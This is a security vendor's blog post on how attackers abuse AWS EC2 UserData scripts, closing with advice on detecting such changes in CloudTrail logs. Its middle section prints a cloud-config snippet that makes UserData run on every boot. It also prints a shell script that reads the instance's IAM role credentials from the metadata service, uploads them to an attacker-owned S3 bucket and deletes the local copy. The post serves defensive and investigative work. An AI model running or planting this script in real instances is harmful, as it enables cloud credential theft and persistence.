How Identifying UserData Script Manipulation Accelerates Investigation

Originally published by Mitiga here.

Written by Doron Karmi, Mitiga.

UserData script manipulation by threat actors is a technique that has been known in the wild for several years and has been observed being exploited by many attack groups. Abuse of the AWS EC2 instance UserData attribute could lead to significant consequences, ranging from malware deployment through persistence and to privilege escalation in some cases. Although this technique is known, monitoring and detecting malicious manipulation of user data script is not trivial with standard AWS Cloudtrail logging. In this blog, we demonstrate several possible attack paths that could be taken by an attacker when abusing the instance UserData script attribute as well as how security professionals can identify malicious manipulation of UserData and reduce the time needed for the forensics investigation.

What is UserData?

EC2 user data is a set of instructions used to configure an EC2 instance at launch time using cloud-init or shell scripting. Like the EC2 meta-data service, the user data is accessible from within the instance itself using the link-local IP address 169.254.169.254 (also known as Metadata service). It is also a valuable source for attackers to gain information about the environment.

When working with instance user data, keep the following in mind:

• User data must be base64-encoded. The Amazon EC2 console can perform the base64-encoding for you or it can accept base64-encoded input.
• User data must be base64-decoded when you retrieve it. If you retrieve the data using instance metadata or the console, it's decoded for you automatically.
• If you stop an instance, modify its user data, and start the instance, the updated user data is not executed when you start the instance by default.

Instance user data is used to run commands when an EC2 instance is first started; however, with some minor configuration changes, the commands can be executed after each reboot of the instance.

By default, user data scripts and cloud-init directives run only during the first boot cycle when an EC2 instance is launched. However, you can configure your user data script and cloud-init directives with a mime multi-part file. A mime multi-part file allows your script to override how frequently user data is run in the cloud-init package. Then, the file runs the user script. For more information on mime multi-part files, see Mime Multi Part Archive on the cloud-init website.

Setting the scripts-user parameter under cloud-config to always overrides how frequently user data will be executed. This configuration can be abused by an attacker and act as an equivalent technique to Logon Initialization Scripts in AWS environment, in order to gain a foothold, elevate privileges, or gain persistence on the EC2 machine or in the AWS environment.

Configurations snippet demonstrating the change of scripts-user parameter to always

Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt" 

#cloud-config
cloud_final_modules:
- [scripts-user, always]

For an instant exploitation of this technique, an attacker needs sufficient privileges to stop-modify-start an instance. That way, the attacker can ensure that the modified user data script will be executed immediately on the machine. However, the minimal requirement for modification of EC2 user data is ec2:ModifyInstanceAttribute privileges. In that case, the attacker would be able to change the user data of stopped machines only, and wait for their reboot in the victim environment.

It’s worth mentioning that this technique is well-documented and has been known for quite some time. It is also packaged as a module of PACU framework; the ec2__startup_shell_script module requires permissions to stop and start an instance and modify its user data attribute. Having said that, detecting and monitoring for malicious changes of the user data attribute is not trivial.

PACU EC2__startup_shell_script

The impact of a successful exploitation

After a successful exploitation, the attacker can run shell scripts with root access on the machine, which provides a wealth of options for abusing the system. Because the attacker does not gain a foothold onto the machine, it is fair to assume that an attacker with sufficient privileges will try to either exfiltrate data from the machine or gain access to the machine to laterally move to other instances.

Gaining a foothold on the machine

One way an attacker might go is to gain access to the machine itself, so they can later move laterally within the subnet to complete their objectives. To gain a foothold on the machine, the attacker can use many techniques, ranging from the initiation of a reverse shell to the deployment of a malware, which might be the final objective, when deploying a crypto miner, or another stage of the attack for example when deploying a malware with remote management capabilities.

Privilege escalation in AWS

A classic technique to elevate privileges in cloud environment is using the instance metadata and stealing the credentials of the Identity and Access Management (IAM) role associated with the instance. Using the shell execution provided by user data manipulation, a trained attacker can make a request to the instance metadata and then exfiltrate it to an attacker-owned system.

This technique can be executed with AWS-only resources, as described below:

• Attacker with access to Account A (attacker) creates an S3 bucket in the same region of the victim's EC2 region.
• Attacker with limited access to Account B (victim) modifies the user-data of an EC2 machine in order to:
• Access the EC2 metadata service;

1. Save temporary credentials locally;
2. Upload credentials file to an attacker-owned S3 bucket in Account A;
3. Remove footprints showing this activity.

Below is a shell script that can be placed in a machine EC2 userData attribute to exfiltrate the EC2 attached role credentials to an S3 bucket owned by the attacker. This technique requires no configuration changes on the victim’s account.

if grep -q ubuntu "$/etc/*-release"; then
apt-get install awscli
else
yum install awscli
fi
;export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXX";export AWS_SECRET_ACCESS_KEY="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
;export AWS_SESSION_TOKEN="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX//////////XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
;role=`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`
;curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$role > cred.txt
;aws s3api put-object --bucket attacker-bucket --key cred.txt --body cred.txt;rm cred.txt -f
; unset AWS_ACCESS_KEY_ID; unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN‍

EC2 user data modification

Credentials file on the attacker-owned S3 bucket

‍Identifying and investigating UserData script manipulation

Although this technique has been known in the wild for quite some time and has been observed in use by threat actors, monitoring for and identifying malicious manipulation of user data script is not a trivial task.

Organizations with high security-posture usually tend to think that the collection of CloudTrail logs by themselves provides enough visibility into the actions taken on an AWS environment. While CloudTrail is indeed a great source to monitor when searching for malicious activities, in some cases it can be too noisy and monitoring can be a burden on security teams.

In addition, in ModifyInstanceAttribute events, AWS does not expose the change itself; it doesn’t show the change in the user data content, which makes detecting malicious manipulation based on CloudTrail logs much more difficult.

Monitoring userData manipulation

• Monitor the use of ModifyInstanceAttribute with the userData attribute as the subject. It is not common to change userData after a machine was initially launched, therefore any change to userData of an existing machine should be reviewed. In terms of logging, note that changes made by console sessions are different from changes made by API request. To search for the modification of the userData attribute in ModifyInstanceAttribute events, you would need to filter for the userData field under the requestParameters or the attribute field with the userData value under requestParameters.
• Stop-Modify-Start sequence - This sequence could be an indication for an attacker with sufficient privileges stoping an EC2 machine, modifying the userData attribute, and starting the machine for the script execution. IAM Permission: stop-instances, modify-instance-attribute, start-instances. ‍
• Routinely check userData entries for EC2 machines in your account; not scalable in cases of many EC2 instances.